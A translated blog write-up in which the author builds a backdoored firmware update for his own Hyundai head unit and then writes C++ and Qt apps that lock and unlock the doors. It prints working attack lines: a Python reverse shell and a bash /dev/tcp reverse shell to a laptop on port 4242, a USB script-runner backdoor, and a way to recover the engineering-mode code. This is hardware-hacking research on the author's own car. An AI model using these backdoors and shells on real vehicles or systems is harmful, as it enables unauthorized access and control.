[Перевод] Как я хакнул свой автомобиль: завершение истории
Если вы не читали первую часть статьи, то сделайте это.
28 апреля 2022 года выпустили новые версии обновлений прошивок Display Audio для автомобилей Hyundai и Kia. К счастью, в том числе и для моей машины.
Я сразу же принялся за разработку собственного обновления прошивки с бэкдором.
Благодаря скрипту linux_envsetup.sh
я точно знал, как создаётся зашифрованное обновление прошивки D-Audio2V:
- Во-первых, все двоичные файлы рассортировываются по нужным папкам. (Обновления Micom переносятся в папку
micom
, образ системы — в папкуsystem
, и так далее.) - Для каждого двоичного файла в обновлении при помощи многократного SHA224 вычисляется хэш; эти хэши помещаются в файл update.cfg. В каждой строке содержится исходное имя файла, двоеточие, а затем хэш файла
- Некоторые файлы шифруются тестовым ключом AES, эти файлы переименовываются по схеме
enc_{OriginalName}
. - Файл update.cfg хэшируется тем же способом, что и другие файлы, а затем хэш подписывается. Подписанный хэш помещается в файл update.info.
- Все двоичные файлы, файл update.cfg и файл update.info упаковываются в зашифрованный zip.
Я знал все меры безопасности, применяемые к обновлениям прошивок. Поэтому теперь мне достаточно было применить их, чтобы создать собственное обновление. Для удобства я создал пару скриптов bash.
Далее создал пустую папку и поместил в неё скрипты и файл прошивки, который хотел изменить, а потом использовал скрипт setup_environment.sh
для подготовки структуры папок и файлов.
Затем я отредактировал файлы в папке keys
, заполнив их информацией, найденной в открытом исходном коде Mobis, а также при помощи гугления (см. первую часть).
Затем я запустил файл extract_update.sh
, передав ему исходный файл прошивки.
Он распаковал файл прошивки при помощи пароля zip и смонтировал образ системы в папку system_image
.
Теперь я мог изменять образ системы так, как мне было нужно.
Я решил вносить минимально возможное количество изменений; по крайней мере, поначалу.
В процессе реверс-инжиниринга и исследований я сравнивал старое обновление прошивки с тем, которое выпустили для моего автомобиля. В нём я нашёл новый скрипт bash, запускающий Guider — инструмент анализа производительности на основе Python.
При реверс-инжиниринге нового приложения режима разработчика (Engineering Mode) я увидел, что есть опция меню для запуска этого скрипта. Так обнаружилась цель для моего бэкдора. Я решил добавить в скрипт запуска Guider два бэкдора.
echo "Finding USB Script"
USB_SCRIPT_PATH=$(find /run/media/ -path "*1C207FCE3065.sh" 2>/dev/null)
if [ -n "$USB_SCRIPT_PATH" ]
then
echo "Running USB Script"
USB_SCRIPT_CONTENT=$(cat $USB_SCRIPT_PATH)
bash -c "$USB_SCRIPT_CONTENT" &
fi
echo "Prescript Running"
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.2",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())' 2>/dev/null &
Первый бэкдор был скриптом запуска с USB, выполняющим поиск и запуск файла скрипта 1C207FCE3065.sh
с любого флэш-накопителя, вставленного в систему. Второй бэкдор — это простой обратный шелл Python, пытающийся подключиться к 192.168.0.2
, то есть к моему телефону или ноутбуку при соединении через Wi-Fi.
Подготовив свой бэкдор, я запустил скрипт compile_update.sh
. Он выполняет следующие задачи:
- Демонтирует образ системы
- Вычисляет новый хэш для файла
system.img
- Изменяет
update.cfg
, добавляя в него новый хэшsystem.img
- Вычисляет хэш файла
update.cfg
- Подписывает файл
update.cfg
, помещая его вupdate.list
. - Упаковывает всё в файл zip с паролем zip из параметров.
Та-да! Теперь у меня есть обновление системы с моими бэкдорами. Я поленился и не стал делать автоматическое переименование готового zip, чтобы в нём была валидная версия, поэтому вам нужно скопировать в него имя исходного обновления.
Дальше я записал на флэш-накопитель свежее обновление прошивки, зашёл в приложение Settings в IVI и нажал Update.
В первый раз ничего не сработало. В моём скрипте был баг, дополнявший файл update.cfg
недействительным хэшем. Из-за этого система постоянно перезапускалась в режиме восстановления, пыталась выполнить обновление, проверяла хэши, терпела неудачу, перезагружалась… Мне удалось выйти из этого цикла, нажав при помощи скрепки кнопку сброса на передней панели IVI.
Исправив свои скрипты и создав новый файл обновления системы, я загрузил его на USB-накопитель, нажал на Update, и… Сработало! Обновление заняло некоторое время, но после того, как экран обновления выполнил первый этап, я был практически уверен, что всё получилось.
Затем система перезагрузилась и оказалось, что всё полностью работает. Теперь мне просто оставалось получить доступ при помощи нового бэкдора.
Я настроил на телефоне беспроводное Android Auto и сдампил логи на флэш-накопитель, чтобы восстановить пароль Wi-Fi. После отключения телефона я подключил ноутбук к Wi-Fi и задал IP-адрес 192.168.0.2. Затем я использовал ncat
для прослушивания порта 4242 при помощи следующей команды:
ncat -l -p 4242
Теперь мне оставалось лишь запустить Guider в режиме разработчика (Engineering Mode). Я зашёл на экран Settings, коснулся десять раз слева от кнопки Update и один раз справа от кнопки Update, ввёл код 2400, и…
Код режима разработчика не сработал? Должно быть, Mobis изменила код. К счастью, я знал, что приложение режима разработчика записывает в лог Logcat (или, по крайней мере, записывало) хэш нужного кода. Поэтому я снова сдампил лог на накопитель и просмотрел его.
Изучая логи, я увидел пару записей, связанных с Engineering Mode Password Display. В них выводились три хэша MD5.
- md5Year — это хэш строки »02»
- md5Password1 — это хэш строки »24»
- md5Password2 — это хэш строки »00»
То есть оказалось, что md5Password (n) — это каждые две цифры введённого мной кода, а md5Year, вероятно, получается из значения года и является двумя цифрами ожидаемого реального кода.
Но если это так, то мне не хватает двух цифр, поскольку приложению требуется код из четырёх цифр. Поэтому я вернулся к реверс-инжинирингу приложения режима разработчика.
Я нашёл функцию, используемую для проверки кода, и увидел строку-константу, содержащую хэш. При изучении хэша оказалось, что он относился к значению »38».
Судя по остальной части функции, казалось, что мне нужны значение md5Year и »38», поэтому я решил проверить их в автомобиле.
После ввода кода »3802» появилось новое пугающее всплывающее окно:
Похоже, Mobis добавила новое окно предупреждения при переходе в режим разработчика.
Теперь мне оставалось лишь запустить Guider, чтобы активировать мой бэкдор. Я перешёл на экран Guider, нажал кнопку Start и подождал, пока подключится обратный шелл Python.
Ничего.
Обратный шелл Python не работал. Я не вдавался в анализ того, почему это произошло, потому что у меня был очень удобный запасной план: USB Script Runner™.
К счастью, у меня оставался бэкдор USB Script Runner™.
echo "Finding USB Script"
USB_SCRIPT_PATH=$(find /run/media/ -path "*1C207FCE3065.sh" 2>/dev/null)
if [ -n "$USB_SCRIPT_PATH" ]
then
echo "Running USB Script"
USB_SCRIPT_CONTENT=$(cat $USB_SCRIPT_PATH)
bash -c "$USB_SCRIPT_CONTENT" &
fi
Если он сработает, то я всё равно смогу получить полный доступ к системе. Я сохранил простой скрипт обратного шелла bash в файл 1C207FCE3065.sh
в корне флэш-накопителя:
/bin/bash -i >& /dev/tcp/192.168.0.3/4242 0>&1 &
После запуска этого скрипта он должен подключаться к автоматически назначенному IP-адресу ноутбука (192.168.0.3) и перенаправлять интерактивный шелл bash на ncat в порте 4242.
Я просто вставил USB, снова нажал «Start Guider», и…
Я получил бэкдор-доступ к системе. Запустил whoami
, чтобы посмотреть, под каким пользователем я работаю:
У меня был полный root-доступ. Первым делом я собрал немного информации: сохранил на накопитель полный список папок, результат выполнения команды netstat
, результат выполнения df
и тому подобное.
Так как теоретически у меня теперь был полный контроль над IVI, то следующим логичным шагом будет создание для неё собственных приложений.
По природе своей я программист. Получив root-доступ к новому крутому устройству с Linux, я просто обязан разработать для него ПО.
Изучая всё множество файлов IVI, я нашёл кучу крутых файлов заголовков C++, относящихся к ccOS в /usr/include
.
ccOS — это Connected Car Operating System. Эта ОС, разработанная Nvidia и Hyundai, предназначена для управления всеми автомобилями Hyundai 2022 года и далее, но подозреваю, что часть этой системы уже достаточно давно использовалась в более ранних автомобилях Hyundai. Некоторые из самых старых файлов заголовков содержат комментарии о копирайте, датированные ещё 2016 годом.
Судя по файлам заголовков, они обеспечивают очень удобный способ взаимодействия с машиной, предоставляя функции для опроса таких элементов, как одометр и напряжения аккумулятора, а также для выполнения функций наподобие запуска двигателя и блокировки/разблокировки дверей.
Я хотел создать простую программу, использующую файлы заголовков ccOS для считывания состояния дверей, а также для отправки им сигнала блокировки или разблокировки.
Я установил в ВМ Kali Visual Studio Code и последнюю версию кросс-компилятора g++ arm (arm-linux-gnueabi-g++ из пакета g++-arm-linux-gnueabi).
Первым я хотел создать простое консольное приложение, считывающее, открыта или закрыта дверь со стороны водителя.
В одном из файлов заголовков ccOS с именем HBody.h
содержится класс HBody
. HBody
— это синглтон, содержащий в себе статический метод для получения экземпляра HBody
. Сам HBody
содержит метод isDoorOpened
, позволяющий понять, открыта ли конкретная дверь.
Все функции запросов в HBody
возвращают HResult
, обозначающий, получилось ли успешно выполнить запрос к объекту или указывающий ошибку, не позволившую это сделать. Каждый метод также получает ссылку на какой-то тип вывода для предоставления результатов запроса.
Функция isDoorOpened
получает перечисление HDoorPosition
, чтобы указать, какая из проверяемых дверей открыта (передняя левая/правая, задняя левая/правая, дверь багажника), и ссылку на HTriState
, указывающую, открыта ли дверь (False, True, Invalid).
Вот написанный мной код:
#include
#include
#include
#include "HBody.h"
using namespace std;
const char* HResultToString(ccos::HResult result)
{
switch (result)
{
case ccos::HResult::INVALID:
return "INVALID";
case ccos::HResult::OK:
return "OK";
case ccos::HResult::ERROR:
return "ERROR";
case ccos::HResult::NOT_SUPPORTED:
return "NOT_SUPPORTED";
case ccos::HResult::OUT_OF_RANGE:
return "OUT_OF_RANGE";
case ccos::HResult::CONNECTION_FAIL:
return "CONNECTION_FAIL";
case ccos::HResult::NO_RESPONSE:
return "NO_RESPONSE";
case ccos::HResult::UNAVAILABLE:
return "UNAVAILABLE";
case ccos::HResult::NULLPOINTER:
return "NULLPOINTER";
case ccos::HResult::NOT_INITIALIZED:
return "NOT_INITIALIZED";
case ccos::HResult::TIMEOUT:
return "TIMEOUT";
case ccos::HResult::PERMISSION_DENIED:
return "PERMISSION_DENIED";
case ccos::HResult::ALREADY_EXIST:
return "ALREADY_EXIST";
case ccos::HResult::SOME_UNAVAILABLE:
return "SOME_UNAVAILABLE";
case ccos::HResult::INVALID_RESULT:
return "INVALID_RESULT";
case ccos::HResult::MAX:
return "MAX";
default:
return "Other";
}
}
int main()
{
cout << "Ioniq Test Application";
cout << endl;
ccos::vehicle::general::HBody *body = ccos::vehicle::general::HBody::getInstance();
ccos::vehicle::HTriState doorState;
ccos::HResult doorOpenedResult = body->isDoorOpened(ccos::vehicle::HDoorPosition::FRONT_LEFT, doorState);
if (doorOpenedResult == ccos::HResult::OK) {
cout << "Door Result: " << (doorState == ccos::vehicle::HTriState::TRUE ? "Open" : "Closed");
cout << endl;
} else {
cout << "isDoorOpened did not return OK. Actual return: " << HResultToString(doorOpenedResult);
cout << endl;
}
cout << "Finished door test";
cout << endl;
}
Теперь осталось только скомпилировать его. Я настроил в VS Code задачу сборки, в которой использовался компилятор arm-linux-gnueabi-g++ и указал root системы в качестве основания смонтированного файла system.img
. После запуска задачи она выдала ошибку.
Упс! Да, я не привык к разработке на C++ и забыл указать ссылку на библиотеку HBody
. Оказалось, она называется HVehicle
. После дополнения задачи сборки ссылкой…
Да, я недостаточно хорошо знаю C++ для этого. Немного погуглив, я выяснил, что библиотеки std
, поставляемые с моим компилятором, слишком новые и не содержат конкретную версию, которая нужна HVehicle
. Я создал файл спецификаций, в котором указал, что не нужно включать местоположение библиотек по умолчанию и вручную включил папки /usr/lib/
и /usr/lib/arm-telechips-linux-gnueabi/4.8.1/
.
Запускаем задачу сборки снова, и…
Наконец-то у меня есть работающая (надеюсь) сборка! Я скопировал получившийся двоичный файл на USB-накопитель и залез в машину.
Запустил обратный шелл, скопировал двоичный файл в папку /tmp/, пометил его как исполняемый и запустил его.
Отлично. Появилось немного спама логов, который, похоже, поступал от HBody
, но программа правильно сообщила, что дверь закрыта. Я открыл дверь, запустил её снова, и…
Да! Моё прекрасное приложение работает.
Теперь пора сделать что-то более сложное.
#include
#include
#include "HBody.h"
#include "HChassis.h"
using namespace std;
namespace ccOSUtils
{
const char *HTriStateToString(ccos::vehicle::HTriState state)
{
switch (state)
{
case ccos::vehicle::HTriState::FALSE:
return "False";
case ccos::vehicle::HTriState::TRUE:
return "True";
case ccos::vehicle::HTriState::INVALID:
return "INVALID";
case ccos::vehicle::HTriState::MAX:
return "MAX";
default:
return "Other";
}
}
const char *HResultToString(ccos::HResult result)
{
switch (result)
{
case ccos::HResult::INVALID:
return "Invalid";
case ccos::HResult::OK:
return "OK";
case ccos::HResult::ERROR:
return "ERROR";
case ccos::HResult::NOT_SUPPORTED:
return "NOT_SUPPORTED";
case ccos::HResult::OUT_OF_RANGE:
return "OUT_OF_RANGE";
case ccos::HResult::CONNECTION_FAIL:
return "CONNECTION_FAIL";
case ccos::HResult::NO_RESPONSE:
return "NO_RESPONSE";
case ccos::HResult::UNAVAILABLE:
return "UNAVAILABLE";
case ccos::HResult::NULLPOINTER:
return "NULLPOINTER";
case ccos::HResult::NOT_INITIALIZED:
return "NOT_INITIALIZED";
case ccos::HResult::TIMEOUT:
return "TIMEOUT";
case ccos::HResult::PERMISSION_DENIED:
return "PERMISSION_DENIED";
case ccos::HResult::ALREADY_EXIST:
return "ALREADY_EXIST";
case ccos::HResult::SOME_UNAVAILABLE:
return "SOME_UNAVAILABLE";
case ccos::HResult::INVALID_RESULT:
return "INVALID_RESULT";
case ccos::HResult::MAX:
return "MAX";
default:
return "Other";
}
}
}
int main(int argc, char *argv[])
{
cout << "Ioniq Advanced Test Application" << endl;
if (argc == 1)
{
cout << "Provide at least 1 argument (doorStatus, doorLock, status, test)" << endl;
return 0;
}
ccos::vehicle::general::HBody *body = ccos::vehicle::general::HBody::getInstance();
string command = argv[1];
if (command == "doorStatus")
{
if (argc != 3)
{
cout << "Expected arguments: doorStatus {fl/fr/rl/rr}" << endl;
return 0;
}
string doorStr = argv[2];
ccos::vehicle::HDoorPosition doorPosition = ccos::vehicle::HDoorPosition::FRONT_LEFT;
if (doorStr == "fl")
{
doorPosition = ccos::vehicle::HDoorPosition::FRONT_LEFT;
}
else if (doorStr == "fr")
{
doorPosition = ccos::vehicle::HDoorPosition::FRONT_RIGHT;
}
else if (doorStr == "rl")
{
doorPosition = ccos::vehicle::HDoorPosition::REAR_LEFT;
}
else if (doorStr == "rr")
{
doorPosition = ccos::vehicle::HDoorPosition::REAR_RIGHT;
}
ccos::vehicle::HTriState doorState;
ccos::HResult doorOpenedResult = body->isDoorOpened(doorPosition, doorState);
if (doorOpenedResult == ccos::HResult::OK)
{
cout << "Door Result: " << (doorState == ccos::vehicle::HTriState::TRUE ? "Open" : "Closed");
cout << endl;
}
else
{
cout << "isDoorOpened did not return OK. Actual return: " << ccOSUtils::HResultToString(doorOpenedResult);
cout << endl;
}
}
else if (command == "doorLock")
{
if (argc != 3)
{
cout << "Expected arguments: doorLock {true/false}" << endl;
return 0;
}
string shouldBeLockedStr = argv[2];
ccos::HBool shouldBeLocked = false;
if (shouldBeLockedStr[0] == 't')
{
shouldBeLocked = true;
}
cout << "Setting Door Locks to: " << (shouldBeLocked ? "Locked" : "Unlocked") << endl;
ccos::HResult doorLockResult = body->requestDoorLock(shouldBeLocked);
if (doorLockResult == ccos::HResult::OK)
{
cout << "Door Lock Success" << endl;
}
else
{
cout << "Door Lock Failure: " << ccOSUtils::HResultToString(doorLockResult) << endl;
}
}
else if (command == "status")
{
ccos::vehicle::general::HChassis *chassis = ccos::vehicle::general::HChassis::getInstance();
ccos::HFloat odometerReading = 0;
chassis->getOdometer(odometerReading);
ccos::HFloat batteryVoltage = 0;
chassis->getBatteryVoltage(batteryVoltage);
ccos::HUInt8 percentBatteryRemaining = 0;
chassis->getRemainBattery(percentBatteryRemaining);
cout << "Vehicle Status:" << endl;
cout << "\tOdometer: " << odometerReading << endl;
cout << "\tBattery Voltage: " << batteryVoltage << "V" << endl;
cout << "\tBattery Remaining: " << percentBatteryRemaining << "%" << endl;
}
else if (command == "test")
{
cout << "Testing methods that might not work" << endl;
ccos::HResult testResult;
cout << "\tTesting Wireless Charging Pad State" << endl;
ccos::HUInt8 wirelessChargingPadState = 0;
testResult = body->getWirelessChargingPadState(wirelessChargingPadState);
cout << "\t\t" << ccOSUtils::HResultToString(testResult) << " - State: " << wirelessChargingPadState << endl;
cout << "\tTesting Window State (Driver)" << endl;
ccos::vehicle::HWindowType windowType = ccos::vehicle::HWindowType::DRIVER;
ccos::vehicle::HTriState windowState;
ccos::HUInt8 windowDetail;
body->getWindowOpenState(windowType, windowState, windowDetail);
cout << "\t\t" << ccOSUtils::HResultToString(testResult) << " - State: " << ccOSUtils::HTriStateToString(windowState) << "Detail?: " << windowDetail << endl;
cout << "Completed testing methods that might not work" << endl;
}
else
{
cout << "Unknown Command" << endl;
}
cout << "Completed" << endl;
return 0;
}
Я написал более продвинутое приложение, позволявшее опрашивать конкретные двери, блокировать и разблокировать их, считывать простую статистику автомобиля и тестировать методы, которые могут не работать (они находились в разделе файла заголовка с комментарием // uncompleted
).
Вернёмся в VS Code и запустим задачу сборки!
Так, что-то поломалось. Понятия не имея, что вызывало ошибку, я снова начал гуглить. На этот раз процесс был мучительным, но в конечном итоге я выяснил, что библиотеки использовали старый ABI, но, к счастью, исправить это было легко. Достаточно было указать в аргументах компилятора -D_GLIBCXX_USE_CXX11_ABI=0
.
Наконец-то всё скомпилировалось, я закинул программу в IVI, и она заработала! Я смог выполнять запросы к дверям, блокировать и разблокировать их, а также проводить свои тесты. (Функции на самом деле оказались незавершёнными.)
Так как я закончил простое приложение командной строки, настало время взяться за приложение с GUI. Я потратил много времени на обход различных проблем, но всё это оказалось совершенно ненужным. Поэтому я задокументирую то, что реально сработало.
Благодаря своему реверс-инжинирингу и исследованиям я знал, что GUI-приложения в системе основаны на Qt5 и использовали Helix — систему управления приложениями, разработанную Wind River Systems. Если я хотел создать приложение с GUI, которое бы точно работало, мне нужно полностью встроить в него систему Helix.
Чтобы иметь возможность скомпилировать приложение Qt5, мне нужно было сначала настроить работающую систему компилятора Qt. Я долго пытался избегать самостоятельного компилирования Qt, но в конечном итоге оказалось, что это простейший способ.
Для правильной настройки Qt5 я сначала установил g++, затем скачал и извлёк Qt 5.7.1. Я хотел настроить Qt5 для кросс-компиляции ARM, поэтому также скачал и установил созданный Linaro GCC 4.9.4. Я использовал Qt 5.7.1, потому что выяснил, что нативные приложения в моей IVI использовали Qt 5.7 и компилировались с GCC версии примерно 4.9. Мне хотелось сделать компилирование собственных приложений как можно более беспроблемным, поэтому я использовал максимально близкие версии, при этом имея самые новые патчи без ущерба для совместимости.
Затем я попытался скомпилировать Qt5 (на самом деле, несколько раз), но каждый раз получал разные ошибки. При одной из первых ошибок я выяснил, что Qt устанавливала различные файлы в смонтированный образ системного root моей IVI, но образ по умолчанию не имеет свободного места для них. Я использовал следующие команды для увеличения размера system.img
на 1 ГБ при помощи dd
, а затем при помощи resize2fs
изменил размер файловой системы в system.img
, чтобы можно было воспользоваться этим новым пространством:
dd if=/dev/zero count=4 bs=256M >> system.img
sudo mount system.img system_image
FULL_SYSROOT_DIR=$(realpath system_image)
SYSROOT_MOUNT_DEVICE=$(df | grep $FULL_SYSROOT_DIR | awk '{print $1}')
sudo resize2fs $SYSROOT_MOUNT_DEVICE
Также я столкнулся с парой других ошибок: одна была связана с отсутствующей libGLESv2, её удалось устранить добавлением симлинка в образ системы, чтобы его могла найти Qt.
cp system_image/usr/lib/libGLESv2.so.2 system_image/usr/lib/libGLESv2.so
Следующие ошибки были вызваны тем, что не удавалось скомпилировать QtQuick; я не был уверен, как их можно устранить. Оказалось, что большинство людей с этой ошибкой просто пропускали компилирование QtQuick, поэтому я поступил так же. Наконец, мне также пришлось пропустить компилирование модуля virtualkeyboard
, потому что он отказывался компилироваться. После устранения этих проблем я получил следующую запутанную команду конфигурирования:
./configure -device arm-generic-g++ -device-option CROSS_COMPILE=/home/greenluigi1/QtDev/gcc-linaro-4.9.4-2017.01-x86_64_arm-linux-gnueabi/bin/arm-linux-gnueabi- -opensource -confirm-license -sysroot /home/greenluigi1/QtDev/system_image -skip declarative -nomake examples -skip virtualkeyboard
После конфигурирования я выполнил gmake -j4
и дождался компиляции Qt.
К счастью, всё сработало и мне удалось запустить gmake install
.
После того, как всё заработало, я написал пару скриптов для выполнения самой сложной части подготовки. То есть, если мне в будущем понадобится настроить среду разработки, достаточно будет извлечь скрипты в новую папку, скопировать немодифицированный файл system.img
в ту же папку, а затем выполнить setupDevelopmentEnvironment.sh
.
Скрипт скачает и установит нужные кросс-компиляторы, QtCreator и скомпилирует нужную версию Qt.
Так как монтирование system.img
выполняется временно, я также добавил скрипт монтирования, чтобы можно было быстро перемонтировать образ системы после перезагрузки и перед разработкой.
Почти всё было готово, оставалось настроить QtCreator так, чтобы он использовал мою систему.
QtCreator — это IDE, используемая для разработки приложений Qt. Я установил последнюю версию из apt и начал конфигурировать её для компилирования D-Audio.
В параметрах QtCreator я настроил два компилятора — один для C, другой для C++ — и указал им установленный GCC, который я извлёк ранее.
Затем я добавил свою установку Qt во вкладку Qt Versions, указав ей файл qmake
в root образа системы моей IVI.
Затем я обернул всё это, добавив новый кит D-Audio 2 и указав в параметрах использовать мою конкретную версию Qt и компиляторов.
Теперь я готов разрабатывать GUI-приложение для IVI.
Ну, точнее, почти готов. Мне всё ещё нужно разобраться, как внедрить моё приложение в менеджер приложений Helix, поэтому пришлось заняться реверс-инжинирингом. Я решил попытаться найти в системе простейшее приложение и имитировать его структуру.
Я просмотрел все GUI-приложения в системе в поисках самого маленького. Остановился на EProfilerApp, расположенном в /usr/share/AMOS/EProfilerApp
. Это простое GUI-приложение, судя по названию, предназначенное для просмотра/управления встроенным инструментом профилирования системы AMOS. Я импортировал EProfilerApp в IDA:
В EProfilerApp сохранилась отладочная информация! Благодаря этому было относительно просто выполнить его реверс-инжиниринг. Вот что я обнаружил:
Функция main()
каждого приложения Helix выглядит так:
int main(int argc, char *argv[])
{
QApplication app(argc, argv);
MyApplication myApplication = MyApplication();
myApplication.init(app, argc, argv);
return app.exec();
}
QApplication — это обычный класс QApplication из Qt5, инициализируемый как обычное приложение Qt5. Далее создаётся экземпляр Application приложения Helix, в данном случае MyApplication. MyApplication наследует от классов ApplicationQt/Application Helix. Единственная задача класса Application приложения — создание компонентов, которыми должен управлять Helix.
В Helix есть три типа компонентов:
- App View
- Представляет экран/окно Qt5, содержащее элементы управления, с которыми может взаимодействовать пользователь. К ним относятся как полноэкранные окна, так и всплывающие.
- Отвечает за создание, отображение, сокрытие и уничтожение обычного окна Qt5.
- App Service
- Представляет фоновый процесс.
- Event Receiver
- Представляет дескриптор для различных событий, которые могут передаваться по всей системе.
Каждый компонент имеет собственное имя, соответствующее стандарту наименования пакетов Java (например: com.mobis.caudio.setupApp.SetupAppView). Helix вызывает класс Application приложения и передаёт имя компонента. Затем класс Application проверяет имя и создаёт/возвращает нужный AppView/AppService/EventReceiver или nullptr, если имя недействительно.
Настало время создать реальное GUI-приложение. Исходный код этого приложения можно найти здесь.
В приложении есть один AppView с очень оригинальным названием ExampleGuiAppView, имеющий имя компонента com.greenluigi1.guiExample.TestAppView. Этот AppView создаёт простое окно с четырьмя кнопками:
- Lock
- Блокирует все двери автомобиля.
- Unlock
- Разблокирует двери автомобиля.
- Действует как кнопка разблокировки на брелке. При одном нажатии разблокируется сторона водителя, при двух — все двери.
- Test
- Выводит тестовое сообщение в лог Logcat.
- Exit
- Выполняет выход из приложения при помощи функции
finish()
.
- Выполняет выход из приложения при помощи функции
Мне удалось успешно собрать и скомпилировать его. Настало время для запуска приложения на реальном оборудовании.
Однако прежде нужно было сделать ещё пару вещей. Нужно «зарегистрировать» приложение, чтобы его увидел Helix. Менеджер приложений Helix считывает файлы ini из папки /etc/appmanager/appconf
. Каждый файл ini сообщает Helix имя компонента приложения, перечисляет каждый AppView, AppService и EventReceiver, а также сообщает, каки события слушают ваши EventReceiver.
Стандартная конфигурация приложения выглядит так:
[Application]
Name=com.company.grouping.appName
Exec=/usr/share/app-appName-1.0.0/appName
[TestAppService]
#ComponentName : com.company.grouping.appName.TestAppService
Type=AppService
[TestAppView]
#ComponentName : com.company.grouping.appName.TestAppView
Type=AppView
[TestEventReceiver]
#ComponentName : com.company.grouping.appName.TestEventReceiver
Type=EventReceiver
Event=com.mobis.caudio.ACTION.POWER_OFF
Каждый файл .appconf начинается с группы [Application], внутри неё задаётся базовое имя пакета приложения. Это позволяет Helix знать, что, если приложению требуется создать компонент, начинающийся с имени пакета, его нужно перенаправить на ваше приложение. Затем задаётся Exec, то есть местоположение самого исполняемого файла.
За группой [Application] может следовать любое количество других групп. Каждая группа обозначает новый компонент. Имя группы обозначает имя компонента, например, [TestAppView] означает, что она определяет компонент с именем TestAppView, или конкретно в этом случае com.company.grouping.appName.TestAppView. В группе компонента находятся конкретные параметры для компонента. Каждая группа компонента имеет Type, имеющий значение AppView, AppService или EventReceiver. Каждый тип компонента может иметь собственные параметры, например, тип EventReceiver имеет свойство Event, являющееся разделённым запятыми списком событий, на которые подписывается Receiver. Строки, начинающиеся с #, являются комментариями, и Helix их игнорирует.
Мне всего лишь нужно было создать собственный файл .appconf, чтобы можно было запустить моё приложение. Вот к чему я пришёл:
[Application]
Name=com.greenluigi1.guiExample
Exec=/appdata/guiExample
[TestAppView]
# ComponentName : com.greenluigi1.guiExample.TestAppView
Type=AppView
Такая структура определяет приложение с именем com.greenluigi1.guiExample, расположенное в /appdata/guiExample и содержащее один AppView с именем com.greenluigi1.guiExample.TestAppView. Теперь мне нужно просто установить приложение в автомобиль и запустить его.
Я скопировал скомпилированное приложение и его файл конфигурации на USB-накопитель и загрузил свой обратный шелл. Затем смонтировал root для чтения/записи, чтобы можно было изменять папку конфигурации. Далее скопировал файл конфигурации GuiExampleApp.appconf в папку /etc/appManager/appconf/, а само приложение — в папку /appdata/.
Затем отправил команду перезагрузки и подождал повторного включения IVI.
Теперь мне осталось запустить приложение, но как это сделать? При запуске из командной строки само приложение ничего не делает. Нам нужно приказать Helix запустить его.
К счастью, ранее в процессе исследований я нашёл уже установленный в машине инструмент командной строки appctl, выполняющий именно эту задачу. appctl — это небольшая программа, позволяющая выполнять следующие действия:
- Запускать App View/App Service
- Способ применения: appctl startAppView {componentName} [args…]
- Способ применения: appctl startAppService {componentName} [args…]
- Завершать App View/App Service
- Способ применения: appctl finishAppView {componentName}
- Способ применения: appctl finishAppService {componentName}
- Передавать событие
- Способ применения: appctl emitEvent {event} [args…]
То есть мне достаточно было выполнить следующее:
appctl startAppView com.greenluigi1.guiExample.TestAppView
Я выполнил команду и спустя пару минут получил следующее:
Бинго! Моё приложение работает. Кнопки тоже работают без проблем, позволяя блокировать и разблокировать двери. Также я сдампил логи после выхода из приложения и увидел, что лог тестовой кнопки и другие отладочные записи лога успешно записались в файл Logcat.
Теперь у меня был полный контроль над IVI моего автомобиля, и это просто замечательно. Однако мне ещё многое предстоит узнать о системе, и, если я найду новую информацию, то, возможно, напишу ещё посты.